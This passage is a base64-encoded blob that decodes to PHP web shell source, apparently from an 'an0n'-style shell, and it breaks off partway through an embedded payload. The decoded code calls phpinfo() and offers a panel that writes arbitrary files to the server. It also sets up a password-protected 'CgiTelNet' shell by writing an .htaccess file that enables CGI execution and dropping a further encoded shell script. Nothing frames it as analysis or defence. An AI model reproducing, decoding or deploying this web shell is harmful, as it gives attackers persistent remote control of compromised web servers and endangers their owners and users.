gICAgICAgICAgICAgICAgICAgPGZvbnQgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IGJsYWNrOyBjb2xvcjogYmxhY2s7Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBwaHBpbmZvKCk7IGVjaG8gJzxicj48YnI+Jzt9Pz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkX0dFVFsnZmlsZV9jcmVhdG9yJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Y2VudGVyPjxicj48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0iUE9TVCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9udCBjb2xvcj0id2hpdGUiIGZhY2U9ImN1cnNpdmUiIHNpemU9IiI+RmlsZW5hbWU6IDwvZm9udD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmaWxlX25hbWUiIHBsYWNlaG9sZGVyPSJGaWxlIE5hbWUgSGVyZSIgLz48YnI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgY29sb3I9IndoaXRlIiBmYWNlPSJjdXJzaXZlIiBzaXplPSIiPkNvbnRlbnQ6IDwvZm9udD48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgbmFtZT0iY29udGVudF9vZl9maWxlcyIgcm93cz0iMTAiIGNvbHM9IjkwIj48L3RleHRhcmVhPjxicj48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXNzaW9ub2ZmaWxlY3JlYXRvciIgdmFsdWU9IlN1Ym1pdCIgLz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlbmFtZV9pbl9maWxlX2NyZWF0b3IgPSAkX1BPU1RbJ2ZpbGVfbmFtZSddOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbnRlbnRzX29mX2ZpbGUgPSAkX1BPU1RbJ2NvbnRlbnRfb2ZfZmlsZXMnXTsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ2ZpbGVfbmFtZSddKSB8fCBpc3NldCgkX1BPU1RbJ2NvbnRlbnRfb2ZfZmlsZXMnXSkgfHwgaXNzZXQoJF9QT1NUWydzdWJtaXNzaW9ub2ZmaWxlY3JlYXRvciddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkZmlsZW5hbWVfaW5fZmlsZV9jcmVhdG9yKSB8fCAhZW1wdHkoJGNvbnRlbnRzX29mX2ZpbGUpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaGFuZGxlID0gQGZvcGVuKCRmaWxlbmFtZV9pbl9maWxlX2NyZWF0b3IsICd3Jyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAZndyaXRlKCRoYW5kbGUsICRjb250ZW50c19vZl9maWxlKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBmY2xvc2UoJGhhbmRsZSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/Pjxicj48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9udCBjb2xvcj0id2hpdGUiIGZhY2U9ImN1cnNpdmUiIHNpemU9IjUiPkZpbGUgV2l0aCBOYW1lOiA8YSBocmVmPSI8P3BocCBlY2hvICRmaWxlbmFtZV9pbl9maWxlX2NyZWF0b3I7ID8+IiB0YXJnZXQ9Il9ibGFuayI+PD9waHAgZWNobyAkZmlsZW5hbWVfaW5fZmlsZV9jcmVhdG9yOyA/PjwvYT4gaXMgY3JlYXRlZDwvZm9udD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/Pjxicj48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb250IGNvbG9yPSJ3aGl0ZSIgZmFjZT0iY3Vyc2l2ZSIgc2l6ZT0iNSI+UGxlYXNlIElucHV0IEluIEFsbCBGaWVsZHMgOlA8L2ZvbnQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfR0VUWydjZ2lfc2hlbGwnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Y2VudGVyPjxicj48Zm9udCBzdHlsZT0iY29sb3I6IHdoaXRlOyBmb250LWZhbWlseTogY3Vyc2l2ZTsgZm9udC1zaXplOiAyMDAlOyI+Q2dpVGVsTmV0PC9mb250Pjxicj48c3BhbiBjbGFzcz0iZGVmIj5QYXNzd29yZDogdW1hcjwvc3Bhbj48YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBta2RpcignYW4wbl9jZ2knLCAwNzU1KTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQGNoZGlyKCdhbjBuX2NnaScpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAka29rZG9zeWEgPSAiLmh0YWNjZXNzIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRvc3lhX2FkaSA9ICIka29rZG9zeWEiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZG9zeWEgPSBAZm9wZW4oJGRvc3lhX2FkaSwgJ3cnKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG1ldGluID0gIlQzQjBhVzl1Y3lCR2IyeHNiM2RUZVcxTWFXNXJjeUJOZFd4MGFWWnBaWGR6SUVsdVpHVjRaWE1nUlhobFkwTkhTUTBLUVdSa1ZIbHdaU0JoY0hCc2FXTmhkR2x2Ymk5NExXaDBkSEJrTFdObmFTQXVZMmx1RFFwQlpHUklZVzVrYkdWeUlHTm5hUzF6WTNKcGNIUWdMbU5wYmcwS1FXUmtTR0Z1Wkd4bGNpQmpaMmt0YzJOeWFYQjBJQzVqYVc0PSI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBmd3JpdGUoJGRvc3lhLCBiYXNlNjRfZGVjb2RlKCRtZXRpbikpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAZmNsb3NlKCRkb3N5YSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjZ2lzaGVsbGl6b2NpbiA9ICc3VDM1VTl0SXN6K1RxdndQazhKNXRoZmpnMk0zUUxsMnVlT0VBTUVHY201V3RtUmJpeXg1SlJsQ2p1OXZmOTA5cHc1ekpIRytmVldQSEVpYXE2ZXY2Wm5wNlpsL1ZKdEVZYTNyK3JXeEUzcHNzVVh2WHRDenZGclg4dTJSNno5OE1Ja2M5cUwxWW5kOWZjdUtuRjlYTmg0K0tKdzVZZVFHZnBQOXp6K1RJTjdZM204dGRoelBkMkltVWxpanVzTFRNUHV1N2NiSG9nai91dW5YZmJiODhkZ0wzSTV6b25KQzNtTXJpcTZDMEdheThzbklDa1dHdWJtNWViWTl0UHlCdytLaEcxWFo2MkRDcmx6UFk3N2oyQ3dPbU9QSFRraUpEeC9NVVg3NDZBVUQxNjgrZkJCTnVxd1ZmVGgzL1ZMNU02UVhnZ2lic1ViampUaDBSNlhDN3VIWlo5NVdlL2ZrYlBma1EvdG9yM08rZWJMTFAzNHRBNHh6YnI5RUJmL0RSclVyd0oxTGRjMkZUandKb2VPWTVhdmpSWTc1dFU1Zkh6NkF2d1ZvL3JBajI1WGc4TDVoZDJSUGVyS2ZEcnUwdkluRGdqNzFDOU1hek8zei9rR2g2MkJTREIwV1RuemY5UWM4VDlRTDNYSE1nQkFXZy9ydDRDcGloeDFWWkdUMWhxN3ZWRm1ybnk3dVVxbFQzLzFZd1NSVnBHZjV6SE9zU3hNaUs4THNRQWVpM0dGbmUyUzNuYkdpSEhYUUpGMEhRWU4raFZZUHFRUXZ3RnpVMmNnQkRyUmloeTJ4WGpBYUFlOUZxbVVYT3lHK01nL0FSZ0IxcDNqakNIQ3ErVmsxalUzeFJyZDVTc2NkT2NFazNwbEFOY2o3VGRhb2IxQ2prSUIxUkU0dmdHcVoxY2UyWlN1Y2Nic091NERmanEwYTNRbjhZZ3hsWWtWdWkxMDY0VFh6ckhBZ1VGL2xIWEkxcU5DZC9zUmovY0JvSUI1YU1kRDZtaUVyc1NDa0Q2cEViRjA0b3VJQStRYUU1NlBUbThST0Jib0tTUng5ZlVBMHEvSG5xaW9yV2tkZ1hCdVE0bDFMekFEZ0lWUUtzdG1LVGZqY2dSK0VEdVlGbXJHMnlFUm9iQStEcTUxcjN4cTV2YU5KUEo3RWlFRk90cGJnZWZqYnFDRG4rY3kyWWd2Zkl4QjFCQm8rcWthNklmQUVvQmdZTXdxUStRV0Rzb0RxcmJBQWNvZFhicVNMOFBUdXBOOTNFRHdrTk5Sc3N5dHNDMWxkWUZNTFFqQWFlMDdzUklvR3ViaEhGS295WTVDc0NvREVLUUppUmVJVU9WeVlPSEFjV0EwWEFPV2dRQTRjbi9qVEptUUJleHdkRmp0cysrbm00ZjR1Mnp4ODNYbmFPdHhuVzdzSFIrY01udHZzb0hXNHkwNFBEM2JiYmZiNjZKUTlQNFNVODZlYkhYd3JudXhDRFZqaTBTUE93MUpvU2tJeC9jNjBKSzh6UTdCUStXSDI0eXM3a1ozelJzL212NkVNZnhoZmlTOVU3dGlLaCtsMmVQSzdkNm1DTmFQWWlXTzdvZE9MQWJQWmttenBmd1pDeXpSWVF6MHZwZW96a2hwbUVhT1pYdUJGd0hQTHFLWUx5RU5OdHZRclBNOHYvdEFmSk4rSlk1RmtvbUpBcWhNYmQ2L3BpMkpmNEwreEZVYU9tZkhTQ2wycjZ6a2tXVmlUeUxHLzI2bXc0Nk4yaDRxTkpsN3NRa3BjQTI0Y0xaS3dFTk5KallkTU9obDdnV1VqYy9WZHJCQnI2MEJEK0FaaTZKQjR4U1N1b0wwS3J2KzUyQzkrcGZvUkhpV0JxU3hRR3BPS1g2bkNJeFExRFRWeFBDZzdxOWR6SWdSa0VpRUFWQkl5RmI5V1VPUkMxRytrbnJFaGdpWG9ZMjE4ME9GMVZkbGhFRHZyN0VVUXhYeFVSQ20xU2RXU3R1aFAvQjVwWXF3SHRKelArbUV3NHNMUHdGakJDdmtJU1gzLzBVUkdNd1BKZkl3RVlnOGZvQ0ZBUmhVci9lTDZaZURrUHo3QUFBNy9iK2lVZ2x0aEJYaUcveStjYS9nZlZDdVpHNFVYa3FSN1FORWR4SDJUa2FWUzNENDY3T3dlZGo1MFhoL3ZBbjNBSXFrcCtyL1RETERCdXNIRXQ2M3d1bG1xTHBRTE5XbkZVQ1VudXk5UGQ5dWREeTkyTzArUGRxQWE1eDhoT01CWlFrWWdQMWt6UUMzVk9KUTZlZjJoM1RrQlpWTDhLdXliT1RCODdsQXpzbXVxYXJCQ1IwRERVcnV6MHpvc0kzcHlPazZDeTdnYTJPRG1sV1h6SWhWa3BVb0tNUWU3aC91ZHAwVnV0eUY0OHpnVTJoNW5kU0VIeE04bVJyNFZyUnBOV3lJQmtGVmNYQ3hXQzQwTkJnSUw5aE13Uk9qMDBVUU4yTW5lZHVQSnI3OHhMUEtINTBZNDdrVmp6NDFMTlZWRGpmcFYzcUJNaGFmUVhTZmNDbXlzdVlCRjNqYmViMlNTQU9CMzRUc2YvMzJCWDM3TnpJSWwvOW9RWVBLS2l2REsxUHQvV0VURkM3VWFRbzNTNVZrQUhINWpWekJLb1RZQ1JnQ2xkZWpFVWM4YU80STNUQjJBOVdKOXlhWUJNcWxrbWtMdkkrN0VZMDEwVXlvY3FLS1Iva1RRaWV5MXdVWk9Zc1MvWTRwUWtpd09MV2cxeEU5QVBwQzE1dEtHd0YvQmZRK1A3c0lDVW0vdU03VTJwNUo0bFg5V0Z3aGl4RWcyWFlKVGVuZGw5SVRuQTFIbXZlQ3ZJTk1TMytvVkd5ajlXVW9RckZ6K1FoOEs4RllveTM0YUJSNlhxdFZ5Yld6MUxrcGkrT1cvS216b2ZDd1ZHdVZ5YmVDSVFvQWRoSVBRQ1JWd2hIN1Y4dW9Ba2FQWVFuYURZUWQxS2luNDBnU21oSTZQaXRXdU1EK0k5ZGlpR1AwUDBnZUNaMGs0SmI4S1ZEc3cwWUFQckZSbjFTb3J6RU1Tb1ZsQ3BuSDhicUhHWkQ5TGhnclU5VGQ1M1Zpa3dwYktKb2J2aTVMdncyTlZUWEM0ZlFHNnFtUTdZQ2c3ZGtubEtwZHppaEgrRGZSL25ZbUpvWWEvWGFMZWpodXVDMEt5TGszaEdWcGpNeHI0Vkp0ODNCdGRzd0tZY0VqRm9kdVBhVURqN3pUajVtQjk0R0NWTUlYamplY2gwWGdYZ2hDVXVlU0oyVFNtYnN3S2U4ZWg2OGZjL25qYWVYRUF1SUpKRjlkZm1Md1pEaVlqdE5rYTZ3ekhKYkRablJHM1ZFQ2xYdzFkWVBoKzBKdUFlVFFNSnA2Tk5nL001V2FFYlFJV0laUUEwcklHcDhIMkpBd0IwQjNDdGlKTHFhQy9FNnFSUWk1YTlIKzU5bC9BeTZWSGZIelZpWDQvd09RSmRYSXhZb3MrV3d6Wm9rdWp5Qmdoa090QWdSOUR6WXZ4OVJqTXM5ajVHTmVHOGNoRGphYVdlR1FCRDhRSC91MGU3c0JIZk1LY2FKeUxOK2lQZmhzNW9KQ0djVHhlZFA2WnVKZGlFYWxuTkNkRVVYd1NHUlFFR3pUMUJ6STBUenQ3aTArRTlLcnFZemYySEh4TkxrdXg3WUVyMTdYZU1ybm94ZDVqa1pvcUF6T0dwOURFQ3dCUkVvRXlKSHNReGRjeWV4ZEdSU0JUSDBCZFo0MzZtQmJOYk11M0lBMG1JZ0ZJNjN5LzMrY01Ib2VWMks3RWFQWldhQjVRd1U1Wm9GZ1oxTEYxZExLemU3SjQwdHAvMmxsbmJIN1p3VCtzTVlacGVBQXo4dzJWcFhOMERCbHV6SEt3dTRlVjNKUmw2NmpUT1hxeG5wc0ZwZEVPUmhZYTRlSDZNSUQ1UFVEWUJkVTZDTkdZV1pSOVcxbFpFWDJ6c1EveTg5TFc1cFBkYlo1U3hmRVZWVUJzSTBOamx4Y3R6eDM0NjZ4SEszenBiRVBNSm12YTIxdGJxOWRGRmtpdVZOSG00TEpoVnVVNS9aZzlja2ZqSUlUaEw5WUZNQ09TWnpGeVB6bWNSalJxMHJjcnh4ME1nWExkd0JQZEp1b1FPVGEzbisrZkhKMGU3aXh1SHgwY25RQXNqVWFEWitLVHVOeE1XeDRnS1VGOERUOFZxNEtvajF3cVRmQkhROHNPcnRZWjhnNzlxeTZERHVwZFcyQUFaNzhaTmUvUkQvRmdDSnlxU0ZLdjZ4WnBuUGdzczZ5RE1SQU5ZYnBXQjFMUEx5OHY2OXBBMTNrT0x4Tk9mRjBFQnIwYlNnRU05ZnJtcHNDY3ljczV5T3ZpbncwcEszdnVSOGVPcmlPSmVsbWpaVm04dXMxMXovVXZzTEk1V1lYZ0t0YlpmZFZaM05uZFBqclo3TFNPRHRmQm9QRWRVZWpTalVDSjIvY3VSenpPRkZmZG15cHpLYkxjMkpnRlEvb2xFVVlXTzNIc200cG80ZERTT0tmRjBSVEVURlloZHptNVo5cFZBUTNZbXJqV21vRkF5VkkxTjNscGFZa25rL28xRkM3cFg3NGc3bG4rWUFMRHBSZ2cvcll1TFo1aURna3AreWtzNGNCWDV2b0RWeWNjR0EyWkRXTTgyZ0hWZ1JQdmVnNCtibDIzYko0WGUreFUrU0o1azNYandDcUoxN0poeHNUaFJIUlp0ZGdid2lUNEEwNHhTMjRGdFpab2RscHJIT3c5eUhqc2hLUG9BMzlmY010VjEvZWRFQTBZMFZWRUF0Wkxwa29UTFJlekJGdGc3b0pjTDdNSWxtYXh5R0RjSFFaMnM0ano5U0t0bkVFdFhKTzVkaE5ad1NqUFZBVzhEZW9MdzhHWmNqSlVwczFWVmt2V1ErbEN2L1ZnbmhrMWkveXR5RmU2bTBmUGN3b01YZHQyZk42T0pUSVdCeE8zZUV0ZVcrYk4yRWkzbGV6TGtnTEZTSndGL3F5SzB0b0F2U2hyNTJiQ3BUQllycExsV0NxbnVDSWNmVEFZSTNTaWNlQkhZQTlVeGtoQ2swOWttaWEvM28xQktSaGJQZ3Y4bnVmMkxwcnY1TXFyVVhjT05TdXl4N1JtSXI4V3k2bzQwejFlWUFRUlc5Qk4xckJOaGFEWVRxQW4wVWxhRlRCNXY5SVh2ZXBYUTJjTWc2UlRxa0dyNzJxRGlsdzY1ajk2Slpma0U3V0M0SHJBbkZtdkZBOEJYMFdWelJKVkpXVXpwWE9VTjVpUTZMNEYwK2s3VXgvRjlsOGxzUnhWaHNoeWxtZDVQUDlqNURpL2dPVFFvZ0lWU2FxZ2xUVnVXMzdQOGY1Zk95UjVQQ1U3TUtIck41dkZmbEV0Mm53M1U4SlVMSFQ2emVMdlZsTnNkOUhTajkzTW9JMis5NXFPN2NhUGwrcFozTURIb3NZSVd6QTFES0hNU3VLTDl0Vm4wUTlnRHRHSGxKQVRlRzlaSG9CaUlwZ0cwVEJCdUdXaGJCQ2MrQUZ2SHdTV2JFWjFvVi85NDRNa3I2aTlPeUNiU2VTY3IvZndqMGlMZy9ISUNnZXVkS2NRcUtVWlRXNEMvM2psMnZFd04yVklrNXBra2dhY3o3a2tIeU9KamJrelRYNjQ1Uy9LaTUwMVpqYlhxTmNmeXptNjQza3dLUFJjZjVDQ0JWUEdsbTNybEtYTVZEM2t6M1AwWWpPYXlzbjFBQTRtcnd1MzBtRGthUzZML0ZTZ0svdUFFd3B1a1BEc3k3cWRZSEZ4OFMxanB0TUtldy9mQWlIRGZxd0V1bXZBSW9ZMkJabHNscFpQYnNqRGQ4Slo2M2hkd1pXZ081OE1hdkRFRG9md1Q5bmMyVGtwZmsxQXhyNmdHd25WeU81V3BkeXRlWEhVMmMyck1RMDlmd216UkJFMHdkMVVSUDBVRWdxeDQ1OExiUktTZzZCSHZoTTY3OU5nNUdqNWdrN2RYdmdPK2toVkwxdzN6QmJ1MUlCV0ZEZFV2bi9hdWovb2ZEUHE5c3BQK2FZVjZyZjdOd0t6TnY5dXpleUluSm1HN3RRT2p0ZGQxN2QxZlZzNGd2UDl1eTMzR3hEZkRTZXhBd05jenpHQTNNS1B1QXlMWCs5YlkyL285QzY4WUdBd0JYNWhCL0Rwdm5YeGhhOW9FamtKRk5MSDJpbDhqZTVkSlVBV1RJeDU2UUYvejZrbVJyK2d1Rm44MElYcDdVWFJySGJlRUNqSEcrdlNVb3EvWDZRTHJuMWJaVFVhSlBRN3FTUlhEb0luWXM2Q083eHFHZGRRVjN6SndKaHJQSHl3ZTdqekU1Yi9EOUJ0a0FGaEhNZWY1Zm85dFNPYitYekRFdms0ZE9UWUk5WXp5QkRWMW1JdGYwR2pjNDBPU0IyMDZKdHFkNmprY0p1cHdsd2NOc0YrcmJEZUpJeUNzQUl6UGQvRjlidHR5L05RbE11NDdzUndjNkNFTFFiOWFjc2ZyS25jTm4yeEpTYm1TT3pMRnlZTGk1Yk5TZXEwWXFKbHh2MDlwWk5pazYrZHpOVnE3TkRCNFJNU3Fqd2ZuNGx0NE10WC9JL0tpUWFobkhqYVVFbnBycUtmVWViYjd4bU1zSFdOU0lCUk5zdkkxVUJVTGZHS1ZZcWU2MDlUT2d4Tmdha0V0Y3VjUm4xQjZFb2ltcjNTYU5SWkp6NXRmTnRIcVNLeUNwMlRreHhCRkUrL0N5NVEvbE42ZHEyTDRIQWg2alV6WmZKc0R5MnN1NzZSSmtVMU5ua1NVellFaHlXN1puQ1VaS1JNQnBIT2EwUXhVSE1temZnU29CYWcrK1BDQWpWbXBBSlZxK05KTktUV2phNXFodU5UZTRPMkhTdm5jMndOdHNpVmNDcGlYQjhwdGV2SGJueWRMYS9UcGxYejFSUm5oQnV5K000VjJ3eEQ2NXJtaGxNNkxjaGdwRUxuTnFtOHlja0lDdnBJa0JzV2xZRmZxSEhTNlBJY1FQWVFVaGNXeXFtMHQrNTdyRnpPVkkzRWNSakVBY29DcHVlMExPa3Y4RjQyeFJuVHVCU2xwR0dxeWhHcUkzSmk0YUpiU2syN1VqTkh2ZDZRNWpHOTdHVXdMdStqV0NWS2lueVpkTk81dzRiV3BZUHV2RkovTU9sNWQrM0VWY2Flb2tQMUdJWjh4Kzg1VXpTWXhFbEM3RzRXaXV6aW4yUWZnQ3BmbWNoM3ZkU0dSQys5L1JOL3ZTLy9naU5KclpKU0NRZ3VneXJiTVF3NWZMdWNQTzFRQ0tzNXNKTTZJR1pLdHNsNVNSRk1sbExwdUh1N0dXZXFLaHQ0OE5RcUFuYzdKMHZ6a1paVlZmbDBTZlVTMHFweVNsRVh5L1ZHaWdHS1VDbm1TRlVxcTA4R1NZR29qSnh1dnFXVGc3eE8zcVdQQzlrcThqdXA5Vkc2bDhRc0M4MVV6VE5BeU8xZHVSdmUvc3UwMG9jZjhqaFNLL3AwVDZjUEFjWnhpaFR0RWtQS2Y1OVBwelBwUGJxOWtEN0hjVk9mNzhpMjZVWm13cjMzNitOUDUrWFB0MkxwcnRCOE5Tenp2S0VuM2NER2pma1gwRXErODFqQkZsa0RUTldFUlNCTldjazQwcmhRbHJXUkt6T2tsc0hlTmRMTHVlYnZEZmovcnhnWlpDTW9zczdkYnAzUFpUQXNqZk1rRDJXTVhpTTVQUlVTL0hiRHduZE5URnpSS1plV1lVUHo3VjVUV1RSMXRUMVp1bmtQWUFqUUNmSlYySEs5b3MxTnQveVpEaG9RQXJUNXpET0xiWU5LeXRZUmUzeFN0MGtxV3VGYlZ6TGxZM2dUeisvRlhEQmpieE82Y2hBMXd6VU40ZnlKbm5Bc0dqczlGeWFnNUJBM28xV04wOURqQzR1bEFwMk5SQy9DS0U0NmdkSTdPWGkrL1hOejhZMjErS20rdVBhK1hJdG84YU12U1BINDhlUDYwaXZKL1VGb2M1L2N5Q0ZQWWVrT0NuVnR6QXAzbTdiOTh4Q0hqb1J0M2c0S1oyVGdMK2J5ckJISVB5QUd1ZU0xL1U5UGczUTZvWTluNEkvcEhFWDRreW5seVRKZVRnbWFEbERxUUtaS2FzUmMxYytPSE9Ua2hlZVk1Tm13NnhtUkF4bzdnTGJJYTdhcy9abXRYbE9SQWQ3L0FEQ2FKWFUwbUR2UEtnOTVUQlFPN08vZTFTcHA3OXZFanFhUldkSk1hQ0o5Uk5rb3IwNjFJRkF3aVpSN2JWcmJZMExvUkJNdnppUko1L3dTTnFwUHJtQTE1S24rb1NyUDdQRnRMRjVOTlgvN2xIK3NBbWFxaHEwcUYzaXJLUzl2YktNc01ocmJ2MVdqemFwdUptZURWYkVhQjJwbXpHYXNCWStjS0xMb09EYWVwZk54cDUwbjRKSS9Ia0t6WUxERXd5LzhzUG5NbDR2M3FMRVhIS3JwcThZUEg4ano5T3Ztd010WHRsMGdTNGdTcEpQTVRISkEraWxlOXVUb2dqSU42QnZRT2ZTZmdFTm84K1lGZCsxK0l5eEtNZW9MTHh2K3BnK3pTVCtjVzdZMmVkMkdKNG13VnNpZlJOUmtOQ28zUmJpSENYOGhKak5yNUJSZEI1VTFRdk1zRGkzUWl5WTFFM3lRYVhzc1VyT3RqMitGbTN2dDVBQzVxN2ZqRFZ0UWVzSDhyRjJjZmhEZ3FmcytIWDgzem5UTStrVEdIcldiNEMrbDA3U3dHYnZ6b1dNYi9nZXBSTGxwRHhuUU1RRVAzeVU4RkpJdUFOTWNGcVRyQm45SmVIWFUwRHRGdmNqREdPYXk4MHdPUThlaDQxNktjODdFT3hFcFV3L3NyQ0M0Y1BrcGUwZStwQTRSUitJUU1ZVUFtRmZuZzFsaG0yZi9YQ3pPQW00azg3NFRpMFk0aGYvQTB5a1NTblZrYllQQmlFL2VGVTg3bmVNUDIwZEh6MXU3NGppcU9oM0hTNVhNR3RSNFhDcTRkdjVCT0o2VEh6SlQvWVhjNnBqZkxFK1lHZUlWMGI2bERwZEE0eUdvSjRxNU1HTVZEaTNrYkpzU3kyNEh2dThJbjJvdndQUG1JREdJY25mZ3MyRVF4ZFc4UWM5azk1a2c3a0FnUnFNS0Q5VUR1Mk1zRS9WTmhxeGgxc0NhM1Rqb2hLaUtPUnF6Q0d3NzhTSm5xM1hXM2p6YjNUayszMmx1cUlOY2JCN213Nk9BZGk5RXdCN09rZWdzaE1aZjZtUmFLVEdhRU52cWJDWXB5V2hKcHNuTjhVd2hQb1J2Wkpya3FoZS9PeC9kZUliazdLU2pEZlFzRE9XaUNTaEpXdVdSVEF4c2pheTROM1NpQ3NYOG1JZXBEQWkzZFIyQkhUbFdkbVlPWCtDMm1Zd3hrcTNVRGh3L0tsS0ZWRC9HZkhIN3pBOTBGZ0NTOUQ0ZTZvVnh4R2lYakoyOGRpbitRakJidzFZeEl5Qk5PYTRXNkYxRmhITCtZU284VkJuUDB5ZHhhVXVsZVNzYkordmRNRThuNWpMdmhsRXJKaCtBZ2JWRFIxRE5NOVNhQ3E2TlczNEVsWVRwampJeG5mRno4T0U3cVUzQWVSWUZJNE1kOExDK0lMWStkWjJXSUhNaXdZV1BPalZOMHFhS21wUzFuekxxNkRuRE5FSGhnY0IwUktmWkRVVENsZkRBOVowVzJzWjZXbkgvZzdpNEFKQStyMEVubVpwRmNWNjBZWndYWmRrRGllWjhtaWhsckdId3o5SkZrdk9NT2RGV0p6V1VOQlNPdzJBMHhuV25WT2dkT3A5TnBxYXcrOWNOcUEyenRTaTh0N2didFlXVGszZC9GTGpQNnlHZU5jQ0szcjhySk0xWERZQmNjLzBKTXpNVytHMmF5YWpaQ3ovOFZld1Z5K1lrNWdmTTNoSWsrS1phN1p4YWIzRG14QUJNUk1rcHpSaE9NNFpUOUVvOTI3RDBRRmZlZTczLzYvUEQyMVdKZEpybDBaSm1xVXJRMTFZNjNuNm5HcEVCQmpQeXIxeUE1YjdHTjhuNURiTDgzeEhmYjFoWXViY1FmYmZnSjNHZmtFekZaZm1MY1hzaWFnNzM2YjlKZ0hPd2FoNTBXTlZ0NTdjaytXOUtTMU9sZWN0SkxVbE5sZWYvdmtTTHdFOC9SWjY1di83M0d3VzV3aXdPRFdnRDhsOGp5UTVNaWpUWDVJU2wrMEVTTHpzc01QRXR3b05zOElPRTUyaU04RVhybkZ4K054cW5UdzJLVVJOUEduU0RqOWxtZy9RQU94bm5DQnNlMHI4SzNkaEpxeWZQNmpvVWlUSlZHbk1jeVVJNEo0UzUzKzVIbU1md2d3bFViSHEzT0Erdkc1M0tlL28rZGZFdlY5Mm1wTjFvcmZ6VWhRYTE3Qlp6M3hOYTV0WWhhNTJQWXpmRU5kUnpSOFlWcHNtOEU0TElZOHhic1lLSC9oZnVhT1RZTG56MHJxdlo5cktCWGxXQTEzbW9HbjN3MHlESmVpTVZXNWhpdjg0cTR